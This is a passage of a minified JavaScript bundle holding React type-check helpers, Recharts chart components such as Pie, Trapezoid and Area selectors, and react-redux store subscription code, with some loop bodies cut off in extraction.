tv=Symbol.for("react.transitional.element"),nv=Symbol.for("react.portal"),tf=Symbol.for("react.fragment"),nf=Symbol.for("react.strict_mode"),rf=Symbol.for("react.profiler"),af=Symbol.for("react.consumer"),sf=Symbol.for("react.context"),of=Symbol.for("react.forward_ref"),lf=Symbol.for("react.suspense"),cf=Symbol.for("react.suspense_list"),uf=Symbol.for("react.memo"),df=Symbol.for("react.lazy"),L$=Symbol.for("react.view_transition"),I$=Symbol.for("react.client.reference");function Sn(e){if(typeof e=="object"&&e!==null){var t=e.$$typeof;switch(t){case tv:switch(e=e.type,e){case tf:case rf:case nf:case lf:case cf:case L$:return e;default:switch(e=e&&e.$$typeof,e){case sf:case of:case df:case uf:return e;case af:return e;default:return t}}case nv:return t}}}Oe.ContextConsumer=af;Oe.ContextProvider=sf;Oe.Element=tv;Oe.ForwardRef=of;Oe.Fragment=tf;Oe.Lazy=df;Oe.Memo=uf;Oe.Portal=nv;Oe.Profiler=rf;Oe.StrictMode=nf;Oe.Suspense=lf;Oe.SuspenseList=cf;Oe.isContextConsumer=function(e){return Sn(e)===af};Oe.isContextProvider=function(e){return Sn(e)===sf};Oe.isElement=function(e){return typeof e=="object"&&e!==null&&e.$$typeof===tv};Oe.isForwardRef=function(e){return Sn(e)===of};Oe.isFragment=function(e){return Sn(e)===tf};Oe.isLazy=function(e){return Sn(e)===df};Oe.isMemo=function(e){return Sn(e)===uf};Oe.isPortal=function(e){return Sn(e)===nv};Oe.isProfiler=function(e){return Sn(e)===rf};Oe.isStrictMode=function(e){return Sn(e)===nf};Oe.isSuspense=function(e){return Sn(e)===lf};Oe.isSuspenseList=function(e){return Sn(e)===cf};Oe.isValidElementType=function(e){return typeof e=="string"||typeof e=="function"||e===tf||e===rf||e===nf||e===lf||e===cf||typeof e=="object"&&e!==null&&(e.$$typeof===df||e.$$typeof===uf||e.$$typeof===sf||e.$$typeof===af||e.$$typeof===of||e.$$typeof===I$||e.getModuleId!==void 0)};Oe.typeOf=Sn;GS.exports=Oe;var D$=GS.exports,$b=e=>typeof e=="string"?e:e?e.displayName||e.name||"Component":"",Bb=null,cp=null,XS=e=>{if(e===Bb&&Array.isArray(cp))return cp;var t=[];return p.Children.forEach(e,n=>{St(n)||(D$.isFragment(n)?t=t.concat(XS(n.props.children)):t.push(n))}),cp=t,Bb=e,t};function ZS(e,t){var n=[],r=[];return Array.isArray(t)?r=t.map(i=>$b(i)):r=[$b(t)],XS(e).forEach(i=>{var a=No(i,"type.displayName")||No(i,"type.name");a&&r.indexOf(a)!==-1&&n.push(i)}),n}var QS=e=>e&&typeof e=="object"&&"clipDot"in e?!!e.clipDot:!0,JS={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){var i;if(typeof n!="object"||n==null)return!1;if(Object.getPrototypeOf(n)===null)return!0;if(Object.prototype.toString.call(n)!=="[object Object]"){const a=n[Symbol.toStringTag];return a==null||!((i=Object.getOwnPropertyDescriptor(n,Symbol.toStringTag))!=null&&i.writable)?!1:n.toString()===`[object ${a}]`}let r=n;for(;Object.getPrototypeOf(r)!==null;)r=Object.getPrototypeOf(r);return Object.getPrototypeOf(n)===r}e.isPlainObject=t})(JS);var R$=JS.isPlainObject;const $$=Cr(R$);var Fb,Wb,Ub,Vb,Hb;function Kb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function qb(e){for(var t=1;t{var a=n-r,o;return o=Ge(Fb||(Fb=Ls(["M ",",",""])),e,t),o+=Ge(Wb||(Wb=Ls(["L ",",",""])),e+n,t),o+=Ge(Ub||(Ub=Ls(["L ",",",""])),e+n-a/2,t+i),o+=Ge(Vb||(Vb=Ls(["L ",",",""])),e+n-a/2-r,t+i),o+=Ge(Hb||(Hb=Ls(["L ",","," Z"])),e,t),o},U$={x:0,y:0,upperWidth:0,lowerWidth:0,height:0,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},V$=e=>{var t=cn(e,U$),{x:n,y:r,upperWidth:i,lowerWidth:a,height:o,className:l}=t,{animationEasing:c,animationDuration:u,animationBegin:d,isUpdateAnimationActive:f}=t,m=p.useRef(null),[h,x]=p.useState(-1),g=p.useRef(i),y=p.useRef(a),v=p.useRef(o),b=p.useRef(n),w=p.useRef(r),j=Ld(e,"trapezoid-");if(p.useEffect(()=>{if(m.current&&m.current.getTotalLength)try{var V=m.current.getTotalLength();V&&x(V)}catch{}},[]),n!==+n||r!==+r||i!==+i||a!==+a||o!==+o||i===0&&a===0||o===0)return null;var k=qe("recharts-trapezoid",l);if(!f)return p.createElement("g",null,p.createElement("path",Pu({},Mt(t),{className:k,d:Yb(n,r,i,a,o)})));var S=g.current,N=y.current,z=v.current,O=b.current,_=w.current,T="0px ".concat(h===-1?1:h,"px"),P="".concat(h,"px 0px"),R=dN(["strokeDasharray"],u,c);return p.createElement(Md,{animationId:j,key:j,canBegin:h>0,duration:u,easing:c,isActive:f,begin:d},V=>{var $=jt(S,i,V),L=jt(N,a,V),W=jt(z,o,V),B=jt(O,n,V),U=jt(_,r,V);m.current&&(g.current=$,y.current=L,v.current=W,b.current=B,w.current=U);var F=V>0?{transition:R,strokeDasharray:P}:{strokeDasharray:T};return p.createElement("path",Pu({},Mt(t),{className:k,d:Yb(B,U,$,L,W),ref:m,style:qb(qb({},F),t.style)}))})},H$=["option","shapeType","activeClassName"];function K$(e,t){if(e==null)return{};var n,r,i=q$(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var r=tt();return(i,a)=>o=>{e==null||e(i,a,o),r(tS({activeIndex:String(a),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}},nB=e=>{var t=tt();return(n,r)=>i=>{e==null||e(n,r,i),t(oD())}},rB=(e,t,n)=>{var r=tt();return(i,a)=>o=>{e==null||e(i,a,o),r(lD({activeIndex:String(a),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}};function e3(e){var{tooltipEntrySettings:t}=e,n=tt(),r=Fn(),i=p.useRef(null);return p.useLayoutEffect(()=>{r||(i.current===null?n(rD(t)):i.current!==t&&n(iD({prev:i.current,next:t})),i.current=t)},[t,n,r]),p.useLayoutEffect(()=>()=>{i.current&&(n(aD(i.current)),i.current=null)},[n]),null}function iB(e){var{legendPayload:t}=e,n=tt(),r=Fn(),i=p.useRef(null);return p.useLayoutEffect(()=>{r||(i.current===null?n(oN(t)):i.current!==t&&n(lN({prev:i.current,next:t})),i.current=t)},[n,r,t]),p.useLayoutEffect(()=>()=>{i.current&&(n(cN(i.current)),i.current=null)},[n]),null}function aB(e){var{legendPayload:t}=e,n=tt(),r=xe(_e),i=p.useRef(null);return p.useLayoutEffect(()=>{r!=="centric"&&r!=="radial"||(i.current===null?n(oN(t)):i.current!==t&&n(lN({prev:i.current,next:t})),i.current=t)},[n,r,t]),p.useLayoutEffect(()=>()=>{i.current&&(n(cN(i.current)),i.current=null)},[n]),null}var up,sB=()=>{var[e]=p.useState(()=>So("uid-"));return e},oB=(up=$2.useId)!==null&&up!==void 0?up:sB;function lB(e,t){var n=oB();return t||(e?"".concat(e,"-").concat(n):n)}var cB=p.createContext(void 0),t3=e=>{var{id:t,type:n,children:r}=e,i=lB("recharts-".concat(n),t);return p.createElement(cB.Provider,{value:i},r(i))},uB={cartesianItems:[],polarItems:[]},n3=Yt({name:"graphicalItems",initialState:uB,reducers:{addCartesianGraphicalItem:{reducer(e,t){e.cartesianItems.push(t.payload)},prepare:$e()},replaceCartesianGraphicalItem:{reducer(e,t){var{prev:n,next:r}=t.payload,i=In(e).cartesianItems.indexOf(n);i>-1&&(e.cartesianItems[i]=r)},prepare:$e()},removeCartesianGraphicalItem:{reducer(e,t){var n=In(e).cartesianItems.indexOf(t.payload);n>-1&&e.cartesianItems.splice(n,1)},prepare:$e()},addPolarGraphicalItem:{reducer(e,t){e.polarItems.push(t.payload)},prepare:$e()},removePolarGraphicalItem:{reducer(e,t){var n=In(e).polarItems.indexOf(t.payload);n>-1&&e.polarItems.splice(n,1)},prepare:$e()}}}),{addCartesianGraphicalItem:dB,replaceCartesianGraphicalItem:fB,removeCartesianGraphicalItem:pB,addPolarGraphicalItem:mB,removePolarGraphicalItem:hB}=n3.actions,xB=n3.reducer,vB=e=>{var t=tt(),n=p.useRef(null);return p.useLayoutEffect(()=>{n.current===null?t(dB(e)):n.current!==e&&t(fB({prev:n.current,next:e})),n.current=e},[t,e]),p.useLayoutEffect(()=>()=>{n.current&&(t(pB(n.current)),n.current=null)},[t]),null},gB=p.memo(vB);function yB(e){var t=tt();return p.useLayoutEffect(()=>(t(mB(e)),()=>{t(hB(e))}),[t,e]),null}var bB=["key"],wB=["onMouseEnter","onClick","onMouseLeave"],jB=["id"],kB=["id"];function Zb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Ze(e){for(var t=1;tZS(e.children,Qd),[e.children]),n=xe(r=>T$(r,e.id,t));return n==null?null:p.createElement(aB,{legendPayload:n})}var EB=p.memo(e=>{var{dataKey:t,nameKey:n,sectors:r,stroke:i,strokeWidth:a,fill:o,name:l,hide:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:r.map(m=>m.tooltipPayload),getPosition:m=>{var h;return(h=r[Number(m)])===null||h===void 0?void 0:h.tooltipPosition},settings:{stroke:i,strokeWidth:a,fill:o,dataKey:t,nameKey:n,name:Nd(l,t),hide:c,type:u,color:o,unit:"",graphicalItemId:d}};return p.createElement(e3,{tooltipEntrySettings:f})}),AB=(e,t)=>e>t?"start":enn(typeof t=="function"?t(e):t,n,n*.8),OB=(e,t,n)=>{var{top:r,left:i,width:a,height:o}=t,l=xN(a,o),c=i+nn(e.cx,a,a/2),u=r+nn(e.cy,o,o/2),d=nn(e.innerRadius,l,0),f=_B(n,e.outerRadius,l),m=e.maxRadius||Math.sqrt(a*a+o*o)/2;return{cx:c,cy:u,innerRadius:d,outerRadius:f,maxRadius:m}},TB=(e,t)=>{var n=Ft(t-e),r=Math.min(Math.abs(t-e),360);return n*r},MB=(e,t)=>{if(p.isValidElement(e))return p.cloneElement(e,t);if(typeof e=="function")return e(t);var n=qe("recharts-pie-label-line",typeof e!="boolean"?e.className:""),{key:r}=t,i=ff(t,bB);return p.createElement(Ia,fi({},i,{type:"linear",className:n}))},LB=(e,t,n)=>{if(p.isValidElement(e))return p.cloneElement(e,t);var r=n;if(typeof e=="function"&&(r=e(t),p.isValidElement(r)))return r;var i=qe("recharts-pie-label-text",C$(e));return p.createElement(Q0,fi({},t,{alignmentBaseline:"middle",className:i}),r)};function IB(e){var{sectors:t,props:n,showLabels:r}=e,{label:i,labelLine:a,dataKey:o}=n;if(!r||!i||!t)return null;var l=yr(n),c=ko(i),u=ko(a),d=typeof i=="object"&&"offsetRadius"in i&&typeof i.offsetRadius=="number"&&i.offsetRadius||20,f=t.map((m,h)=>{var x=(m.startAngle+m.endAngle)/2,g=rt(m.cx,m.cy,m.outerRadius+d,x),y=Ze(Ze(Ze(Ze({},l),m),{},{stroke:"none"},c),{},{index:h,textAnchor:AB(g.x,m.cx)},g),v=Ze(Ze(Ze(Ze({},l),m),{},{fill:"none",stroke:m.fill},u),{},{index:h,points:[rt(m.cx,m.cy,m.outerRadius,x),g],key:"line"});return p.createElement(yi,{zIndex:Ut.label,key:"label-".concat(m.startAngle,"-").concat(m.endAngle,"-").concat(m.midAngle,"-").concat(h)},p.createElement(qt,null,a&&MB(a,v),LB(i,y,Re(m,o))))});return p.createElement(qt,{className:"recharts-pie-labels"},f)}function DB(e){var{sectors:t,props:n,showLabels:r}=e,{label:i}=n;return typeof i=="object"&&i!=null&&"position"in i?p.createElement(US,{label:i}):p.createElement(IB,{sectors:t,props:n,showLabels:r})}function RB(e){var{sectors:t,activeShape:n,inactiveShape:r,allOtherPieProps:i,shape:a,id:o}=e,l=xe(Qa),c=xe(xS),u=xe(qD),{onMouseEnter:d,onClick:f,onMouseLeave:m}=i,h=ff(i,wB),x=tB(d,i.dataKey,o),g=nB(m),y=rB(f,i.dataKey,o);return t==null||t.length===0?null:p.createElement(p.Fragment,null,t.map((v,b)=>{if((v==null?void 0:v.startAngle)===0&&(v==null?void 0:v.endAngle)===0&&t.length!==1)return null;var w=u==null||u===o,j=String(b)===l&&(c==null||i.dataKey===c)&&w,k=l?r:null,S=n&&j?n:k,N=Ze(Ze({},v),{},{stroke:v.stroke,tabIndex:-1,[Hk]:b,[Kk]:o});return p.createElement(qt,fi({key:"sector-".concat(v==null?void 0:v.startAngle,"-").concat(v==null?void 0:v.endAngle,"-").concat(v.midAngle,"-").concat(b),tabIndex:-1,className:"recharts-pie-sector"},tO(h,v,b),{onMouseEnter:x(v,b),onMouseLeave:g(v,b),onClick:y(v,b)}),p.createElement(eB,fi({option:a??S,index:b,shapeType:"sector",isActive:j},N)))}))}function $B(e){var t,{pieSettings:n,displayedData:r,cells:i,offset:a}=e,{cornerRadius:o,startAngle:l,endAngle:c,dataKey:u,nameKey:d,tooltipType:f}=n,m=Math.abs(n.minAngle),h=TB(l,c),x=Math.abs(h),g=r.length<=1?0:(t=n.paddingAngle)!==null&&t!==void 0?t:0,y=r.filter(S=>Re(S,u,0)!==0).length,v=(x>=360?y:y-1)*g,b=x-y*m-v,w=r.reduce((S,N)=>{var z=Re(N,u,0);return S+(fe(z)?z:0)},0),j;if(w>0){var k;j=r.map((S,N)=>{var z=Re(S,u,0),O=Re(S,d,N),_=OB(n,a,S),T=(fe(z)?z:0)/w,P,R=Ze(Ze({},S),i&&i[N]&&i[N].props);N?P=k.endAngle+Ft(h)*g*(z!==0?1:0):P=l;var V=P+Ft(h)*((z!==0?m:0)+T*b),$=(P+V)/2,L=(_.innerRadius+_.outerRadius)/2,W=[{name:O,value:z,payload:R,dataKey:u,type:f,graphicalItemId:n.id}],B=rt(_.cx,_.cy,L,$);return k=Ze(Ze(Ze(Ze({},n.presentationProps),{},{percent:T,cornerRadius:typeof o=="string"?parseFloat(o):o,name:O,tooltipPayload:W,midAngle:$,middleRadius:L,tooltipPosition:B},R),_),{},{value:z,dataKey:u,startAngle:P,endAngle:V,payload:R,paddingAngle:Ft(h)*g}),k})}return j}function BB(e){var{showLabels:t,sectors:n,children:r}=e,i=p.useMemo(()=>!t||!n?[]:n.map(a=>({value:a.value,payload:a.payload,clockWise:!1,parentViewBox:void 0,viewBox:{cx:a.cx,cy:a.cy,innerRadius:a.innerRadius,outerRadius:a.outerRadius,startAngle:a.startAngle,endAngle:a.endAngle,clockWise:!1},fill:a.fill})),[n,t]);return p.createElement(h$,{value:t?i:void 0},r)}function FB(e){var{props:t,previousSectorsRef:n,id:r}=e,{sectors:i,isAnimationActive:a,animationBegin:o,animationDuration:l,animationEasing:c,activeShape:u,inactiveShape:d,onAnimationStart:f,onAnimationEnd:m}=t,h=Ld(t,"recharts-pie-"),x=n.current,[g,y]=p.useState(!1),v=p.useCallback(()=>{typeof m=="function"&&m(),y(!1)},[m]),b=p.useCallback(()=>{typeof f=="function"&&f(),y(!0)},[f]);return p.createElement(BB,{showLabels:!g,sectors:i},p.createElement(Md,{animationId:h,begin:o,duration:l,isActive:a,easing:c,onAnimationStart:b,onAnimationEnd:v,key:h},w=>{var j,k=[],S=i&&i[0],N=(j=S==null?void 0:S.startAngle)!==null&&j!==void 0?j:0;return i==null||i.forEach((z,O)=>{var _=x&&x[O],T=O>0?No(z,"paddingAngle",0):0;if(_){var P=jt(_.endAngle-_.startAngle,z.endAngle-z.startAngle,w),R=Ze(Ze({},z),{},{startAngle:N+T,endAngle:N+P+T});k.push(R),N=R.endAngle}else{var{endAngle:V,startAngle:$}=z,L=jt(0,V-$,w),W=Ze(Ze({},z),{},{startAngle:N+T,endAngle:N+L+T});k.push(W),N=W.endAngle}}),n.current=k,p.createElement(qt,null,p.createElement(RB,{sectors:k,activeShape:u,inactiveShape:d,allOtherPieProps:t,shape:t.shape,id:r}))}),p.createElement(DB,{showLabels:!g,sectors:i,props:t}),t.children)}var WB={animationBegin:400,animationDuration:1500,animationEasing:"ease",cx:"50%",cy:"50%",dataKey:"value",endAngle:360,fill:"#808080",hide:!1,innerRadius:0,isAnimationActive:"auto",label:!1,labelLine:!0,legendType:"rect",minAngle:0,nameKey:"name",outerRadius:"80%",paddingAngle:0,rootTabIndex:0,startAngle:0,stroke:"#fff",zIndex:Ut.area};function UB(e){var{id:t}=e,n=ff(e,jB),{hide:r,className:i,rootTabIndex:a}=e,o=p.useMemo(()=>ZS(e.children,Qd),[e.children]),l=xe(d=>M$(d,t,o)),c=p.useRef(null),u=qe("recharts-pie",i);return r||l==null?(c.current=null,p.createElement(qt,{tabIndex:a,className:u})):p.createElement(yi,{zIndex:e.zIndex},p.createElement(EB,{dataKey:e.dataKey,nameKey:e.nameKey,sectors:l,stroke:e.stroke,strokeWidth:e.strokeWidth,fill:e.fill,name:e.name,hide:e.hide,tooltipType:e.tooltipType,id:t}),p.createElement(qt,{tabIndex:a,className:u},p.createElement(FB,{props:Ze(Ze({},n),{},{sectors:l}),previousSectorsRef:c,id:t})))}function r3(e){var t=cn(e,WB),{id:n}=t,r=ff(t,kB),i=yr(r);return p.createElement(t3,{id:n,type:"pie"},a=>p.createElement(p.Fragment,null,p.createElement(yB,{type:"pie",id:a,data:r.data,dataKey:r.dataKey,hide:r.hide,angleAxisId:0,radiusAxisId:0,name:r.name,nameKey:r.nameKey,tooltipType:r.tooltipType,legendType:r.legendType,fill:r.fill,cx:r.cx,cy:r.cy,startAngle:r.startAngle,endAngle:r.endAngle,paddingAngle:r.paddingAngle,minAngle:r.minAngle,innerRadius:r.innerRadius,outerRadius:r.outerRadius,cornerRadius:r.cornerRadius,presentationProps:i,maxRadius:t.maxRadius}),p.createElement(PB,fi({},r,{id:a})),p.createElement(UB,fi({},r,{id:a}))))}r3.displayName="Pie";var VB=["points"];function Qb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function dp(e){for(var t=1;t{var y,v,b=dp(dp(dp({r:3},o),f),{},{index:g,cx:(y=x.x)!==null&&y!==void 0?y:void 0,cy:(v=x.y)!==null&&v!==void 0?v:void 0,dataKey:a,value:x.value,payload:x.payload,points:t});return p.createElement(XB,{key:"dot-".concat(g),option:n,dotProps:b,className:i})}),h={};return l&&c!=null&&(h.clipPath="url(#clipPath-".concat(d?"":"dots-").concat(c,")")),p.createElement(yi,{zIndex:u},p.createElement(qt,Au({className:r},h),m))}function Jb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function e2(e){for(var t=1;t({top:e.top,bottom:e.bottom,left:e.left,right:e.right})),aF=M([iF,Ar,_r],(e,t,n)=>{if(!(!e||t==null||n==null))return{x:e.left,y:e.top,width:Math.max(0,t-e.left-e.right),height:Math.max(0,n-e.top-e.bottom)}}),rv=()=>xe(aF),sF=()=>xe(QD);function t2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function fp(e){for(var t=1;t{var{point:t,childIndex:n,mainColor:r,activeDot:i,dataKey:a,clipPath:o}=e;if(i===!1||t.x==null||t.y==null)return null;var l={index:n,dataKey:a,cx:t.x,cy:t.y,r:4,fill:r??"none",strokeWidth:2,stroke:"#fff",payload:t.payload,value:t.value},c=fp(fp(fp({},l),ko(i)),wx(i)),u;return p.isValidElement(i)?u=p.cloneElement(i,c):typeof i=="function"?u=i(c):u=p.createElement(VS,c),p.createElement(qt,{className:"recharts-active-dot",clipPath:o},u)};function n2(e){var{points:t,mainColor:n,activeDot:r,itemDataKey:i,clipPath:a,zIndex:o=Ut.activeDot}=e,l=xe(Qa),c=sF();if(t==null||c==null)return null;var u=t.find(d=>c.includes(d.payload));return St(u)?null:p.createElement(yi,{zIndex:o},p.createElement(uF,{point:u,childIndex:Number(l),mainColor:n,dataKey:i,activeDot:r,clipPath:a}))}var s3=e=>{var{chartData:t}=e,n=tt(),r=Fn();return p.useEffect(()=>r?()=>{}:(n(hb(t)),()=>{n(hb(void 0))}),[t,n,r]),null},r2={x:0,y:0,width:0,height:0,padding:{top:0,right:0,bottom:0,left:0}},o3=Yt({name:"brush",initialState:r2,reducers:{setBrushSettings(e,t){return t.payload==null?r2:t.payload}}}),{setBrushSettings:UV}=o3.actions,dF=o3.reducer,fF={dots:[],areas:[],lines:[]},l3=Yt({name:"referenceElements",initialState:fF,reducers:{addDot:(e,t)=>{e.dots.push(t.payload)},removeDot:(e,t)=>{var n=In(e).dots.findIndex(r=>r===t.payload);n!==-1&&e.dots.splice(n,1)},addArea:(e,t)=>{e.areas.push(t.payload)},removeArea:(e,t)=>{var n=In(e).areas.findIndex(r=>r===t.payload);n!==-1&&e.areas.splice(n,1)},addLine:(e,t)=>{e.lines.push(t.payload)},removeLine:(e,t)=>{var n=In(e).lines.findIndex(r=>r===t.payload);n!==-1&&e.lines.splice(n,1)}}}),{addDot:VV,removeDot:HV,addArea:KV,removeArea:qV,addLine:YV,removeLine:GV}=l3.actions,pF=l3.reducer,mF=p.createContext(void 0),hF=e=>{var{children:t}=e,[n]=p.useState("".concat(So("recharts"),"-clip")),r=rv();if(r==null)return null;var{x:i,y:a,width:o,height:l}=r;return p.createElement(mF.Provider,{value:n},p.createElement("defs",null,p.createElement("clipPath",{id:n},p.createElement("rect",{x:i,y:a,height:l,width:o}))),t)},xF={},c3=Yt({name:"errorBars",initialState:xF,reducers:{addErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]||(e[n]=[]),e[n].push(r)},replaceErrorBar:(e,t)=>{var{itemId:n,prev:r,next:i}=t.payload;e[n]&&(e[n]=e[n].map(a=>a.dataKey===r.dataKey&&a.direction===r.direction?i:a))},removeErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]&&(e[n]=e[n].filter(i=>i.dataKey!==r.dataKey||i.direction!==r.direction))}}}),{addErrorBar:XV,replaceErrorBar:ZV,removeErrorBar:QV}=c3.actions,vF=c3.reducer;function u3(e,t){var n,r,i=xe(u=>Mr(u,e)),a=xe(u=>Lr(u,t)),o=(n=i==null?void 0:i.allowDataOverflow)!==null&&n!==void 0?n:S4.allowDataOverflow,l=(r=a==null?void 0:a.allowDataOverflow)!==null&&r!==void 0?r:z4.allowDataOverflow,c=o||l;return{needClip:c,needClipX:o,needClipY:l}}function gF(e){var{xAxisId:t,yAxisId:n,clipPathId:r}=e,i=rv(),{needClipX:a,needClipY:o,needClip:l}=u3(t,n);if(!l||!i)return null;var{x:c,y:u,width:d,height:f}=i;return p.createElement("clipPath",{id:"clipPath-".concat(r)},p.createElement("rect",{x:a?c:c-d/2,y:o?u:u-f/2,width:a?d:d*2,height:o?f:f*2}))}function yF(e){var t=ko(e),n=3,r=2;if(t!=null){var{r:i,strokeWidth:a}=t,o=Number(i),l=Number(a);return(Number.isNaN(o)||o<0)&&(o=n),(Number.isNaN(l)||l<0)&&(l=r),{r:o,strokeWidth:l}}return{r:n,strokeWidth:r}}var bF={};/** + * @license React + * use-sync-external-store-with-selector.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var cl=p;function wF(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var jF=typeof Object.is=="function"?Object.is:wF,kF=cl.useSyncExternalStore,NF=cl.useRef,SF=cl.useEffect,zF=cl.useMemo,CF=cl.useDebugValue;bF.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var a=NF(null);if(a.current===null){var o={hasValue:!1,value:null};a.current=o}else o=a.current;a=zF(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,jF(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,m=n===void 0?null:n;return[function(){return c(t())},m===null?void 0:function(){return c(m())}]},[t,n,r,i]);var l=kF(e,a[0],a[1]);return SF(function(){o.hasValue=!0,o.value=l},[l]),CF(l),l};function PF(e){e()}function EF(){let e=null,t=null;return{clear(){e=null,t=null},notify(){PF(()=>{let n=e;for(;n;)n.callback(),n=n.next})},get(){const n=[];let r=e;for(;r;)n.push(r),r=r.next;return n},subscribe(n){let r=!0;const i=t={callback:n,next:null,prev:t};return i.prev?i.prev.next=i:e=i,function(){!r||e===null||(r=!1,i.next?i.next.prev=i.prev:t=i.prev,i.prev?i.prev.next=i.next:e=i.next)}}}}var i2={notify(){},get:()=>[]};function AF(e,t){let n,r=i2,i=0,a=!1;function o(g){d();const y=r.subscribe(g);let v=!1;return()=>{v||(v=!0,y(),f())}}function l(){r.notify()}function c(){x.onStateChange&&x.onStateChange()}function u(){return a}function d(){i++,n||(n=e.subscribe(c),r=EF())}function f(){i--,n&&i===0&&(n(),n=void 0,r.clear(),r=i2)}function m(){a||(a=!0,d())}function h(){a&&(a=!1,f())}const x={addNestedSub:o,notifyNestedSubs:l,handleChangeWrapper:c,isSubscribed:u,trySubscribe:m,tryUnsubscribe:h,getListeners:()=>r};return x}var _F=()=>typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",OF=_F(),TF=()=>typeof navigator<"u"&&navigator.product==="ReactNative",MF=TF(),LF=()=>OF||MF?p.useLayoutEffect:p.useEffect,IF=LF();function a2(e,t){return e===t?e!==0||t!==0||1/e===1/t:e!==e&&t!==t}function DF(e,t){if(a2(e,t))return!0;if(typeof e!="object"||e===null||typeof t!="object"||t===null)return!1;const n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(let i=0;i{const c=AF(i);return{store:i,subscription:c,getServerState:r?()=>r:void 0}},[i,r]),o=p.useMemo(()=>i.getState(),[i]);IF(()=>{const{subscription:c}=a;return c.onStateChange=c.notifyNestedSubs,c.trySubscribe(),o!==i.getState()&&c.notifyNestedSubs(),()=>{c.tryUnsubscribe(),c.onStateChange=void 0}},[a,o]);const l=n||$F;return p.createElement(l.Provider,{value:a},t)}var FF=BF,WF=new Set(["axisLine","tickLine","activeBar","activeDot","activeLabel","activeShape","allowEscapeViewBox","background","cursor","dot","label","line","margin","padding","position","shape","style","tick","wrapperStyle","radius"]);function UF(e,t){return e==null&&t==null?!0:typeof e=="number"&&typeof t=="number"?e===t||e!==e&&t!==t:e===t}function d3(e,t){var n=new Set([...Object.keys(e),...Object.keys(t)]);for(var r of n)if(WF.has(r)){if(e[r]==null&&t[r]==null)continue;if(!DF(e[r],t[r]))return!1}else if(!UF(e[r],t[r]))return!1;return!0}function iv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.xAxisId)!==null&&n!==void 0?n:i3}function av(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.yAxisId)!==null&&n!==void 0?n:i3}var f3=(e,t,n)=>G4(e,"xAxis",iv(e,t),n),p3=(e,t,n)=>Y4(e,"xAxis",iv(e,t),n),m3=(e,t,n)=>G4(e,"yAxis",av(e,t),n),h3=(e,t,n)=>Y4(e,"yAxis",av(e,t),n),VF=M([_e,f3,m3,p3,h3],(e,t,n,r,i)=>ir(e,"xAxis")?nu(t,r,!1):nu(n,i,!1)),HF=(e,t)=>t,x3=M([P4,HF],(e,t)=>e.filter(n=>n.type==="area").find(n=>n.id===t)),v3=e=>{var t=_e(e),n=ir(t,"xAxis");return n?"yAxis":"xAxis"},KF=(e,t)=>{var n=v3(e);return n==="yAxis"?av(e,t):iv(e,t)},qF=(e,t,n)=>T4(e,v3(e),KF(e,t),n),YF=M([x3,qF],(e,t)=>{var n;if(!(e==null||t==null)){var{stackId:r}=e,i=b0(e);if(!(r==null||i==null)){var a=(n=t[r])===null||n===void 0?void 0:n.stackedData,o=a==null?void 0:a.find(l=>l.key===i);if(o!=null)return o.map(l=>[l[0],l[1]])}}}),GF=M([_e,f3,m3,p3,h3,YF,RI,VF,x3,qI],(e,t,n,r,i,a,o,l,c,u)=>{var{chartData:d,dataStartIndex:f,dataEndIndex:m}=o;if(!(c==null||e!=="horizontal"&&e!=="vertical"||t==null||n==null||r==null||i==null||r.length===0||i.length===0||l==null)){var{data:h}=c,x;if(h&&h.length>0?x=h:x=d==null?void 0:d.slice(f,m+1),x!=null)return mW({layout:e,xAxis:t,yAxis:n,xAxisTicks:r,yAxisTicks:i,dataStartIndex:f,areaSettings:c,stackedData:a,displayedData:x,chartBaseValue:u,bandSize:l})}}),XF=["id"],ZF=["activeDot","animationBegin","animationDuration","animationEasing","connectNulls","dot","fill","fillOpacity","hide","isAnimationActive","legendType","stroke","xAxisId","yAxisId"];function Wi(){return Wi=Object.assign?Object.assign.bind():function(e){for(var 